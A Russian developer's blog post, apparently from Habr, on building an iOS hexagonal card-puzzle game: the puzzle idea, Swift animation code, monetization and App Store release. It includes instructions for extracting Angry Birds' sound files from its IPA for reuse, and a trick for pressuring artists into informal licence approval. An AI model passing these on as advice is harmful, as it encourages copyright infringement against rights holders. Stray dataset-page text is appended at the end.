Так вот. Разложил колоду карт и проверил, как идея работает. Вообще круто! — восхитился я, и расклад всегда сходится на шестиугольной доске. Если инвертировать не 2 цвета, а три — то игра приобретает два типа четности, как индексы матрицы или кубик Рубика. Математическая теория, как генерить сходящиеся расклады, слишком сложная и тянет на кандидатскую диссертацию по алгебре. Возможно вы найдете более изящное решение — *велкам ту комментс*.
### Дизайн
Самому делать дизайн — в день не уложишься. Я купил набор картинок на envato.market. $6. Потом вычтем из дохода.
[Изометрический сет](https://graphicriver.net/item/isometric-game-assets-down-the-mountain/14350697) стоит несколько дороже, чем я обычно плачу, а именно $15. Расплачиваясь через *Paypal*, система накидывает еще $1 за услуги. Но маркет подарил мне сертификат на $10, потому фактические затраты = $6.
Поскольку лицензия на картинки всегда мутная, то с художниками я проворачиваю следующий трюк. Благодарю его за прекрасный set и прошу за дополнительные деньги дорисовать пару картинок. Художники (хорошие) — всегда заняты и вежливо отказываются, но при этом чувствуют себя неловко. Тут надо брать их тепленькими. Посылаю ссылку на приложение с авторским дизайном, говорю: — Вот, что получилось, хочу игру в магазин выложить. Как считаешь?
Они с восторгом отвечают: — Конечно, дорогой, пользуйся, выкладывай (только отстань), успехов в продвижении и всех благ!
Так и тут было, художник, по-моему, русский парень. Но переписывались на английском.
### Звуки
Звуки вытаскиваю из игр. Скачиваем (на десктопе!!) в iTunes бесплатную игру Angry Birds 1.7.0, *open in Finder*, переименовываем расширение ipa в zip — разархивируем — далее директория *Payload* — далее щелкаем правой кнопкой на файле AngryBirdsClassicLight.app — выбираем в меню *Show Package Contents*. Все, вы в домике! — 100 звуковых файлов в вашем распоряжении.
*Прим. переводчика* — в последнее время многие пользуются Unity и пакуют ресурсы в assets. В этом случае вы в пролете, звуки запакованы. С распаковкой я не работаю, это к Шалтаю.
### Swift
Настолько прекрасен 3.0, что сам процесс кодирования занимает пару часов. Суть программирования — создать UIViewController, присобачить к нему картинки в виде UIImageView объектов, например:
```
@IBOutlet weak var bird: UIImageView!
```
И простой функцией
```
bird.center = CGPoint(x:xBird, y:yBird)
```
перемещать птичку в нужную точку экрана.
На самом деле прыжок птицы — это парабола. Нам надо переместить её из точки (xbird,ybird) в точку (xcell, ycell). Параболу заменяем без потери качества на две прямые, подобно тому как мы меняем котангенс на функцию Хевисайда в нейронных сетях. Программно траектория птицы разбивается на два линейных участка
```
bird.center = CGPoint(x:xCell, y:yCell+heightOfBird)
bird.center = CGPoint(x:xCell, y:yCell)
```
Для анимации каждое движение оборачиваем блоком UIView.animate
```
UIView.animate(withDuration: 0.15, delay: 0.0, options: .curveEaseOut, animations: {
self.bird.isHighlighted = xBird>xCell ? true : false
self.bird.center = CGPoint(x: xCell, y: yCell-heightBird)
},
completion: {finished in
if self.pause==0 {
self.shift()
}
UIView.animate(withDuration: 0.35, delay: 0.0, usingSpringWithDamping: 0.25, initialSpringVelocity: 0.0, options: .curveEaseOut, animations: {
self.bird.transform = .identity
self.bird.center = CGPoint(x: xCell, y: yCell)
},
completion: {finished in
})
})
```
Регулярная сетка 6 на 6 сродни матрице 6 на 6 с нулями выше диагонали. Проблему с тремя цветами, когда расклад не сходится (остается одна клетка) я решил просто. В этом случае позволяю птичке прыгнуть на месте. Все.
### Монетизация
Подробно про схему монетизации и цифры дохода поведаю во второй части статьи, ровно через месяц 8 марта. Сейчас кратко — в игре использую рекламу от AdMob (ма-а-а-ленький баннер внизу) и ChartBoost (статичное межстраничное объявление), а также встроенные покупки. За $1 доллар докупить 100 жизней, за $2 доллара — 666. Реклама включается, когда игрок первый раз погиб.
Но. Сейчас игра в магазине находится в 1-долларовом состоянии. По двум причинам.
Первое, чтобы её заметили, она должна пару недель побыть платной. Затем Sales — в новом бесплатном состоянии при удачном раскладе её начнут качать, возможно более 500 раз за день.
### Релиз
Игра закончена и выложена в маркет. Кстати, сейчас чертовски благоприятное время для одобрения приложений — обычно 1-2 недельный процесс в январе-феврале занимает менее суток!
Торопитесь. Скоро начнутся бешеные мартовские гонки. Высокий сезон, все такое… *E3* в ЛА. А я там, похвастаюсь, бывал. E3 — это такая игровая выставка. Маечки, ручечки, ну вы понимаете.
Продолжение следует… | https://habr.com/ru/post/321648/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.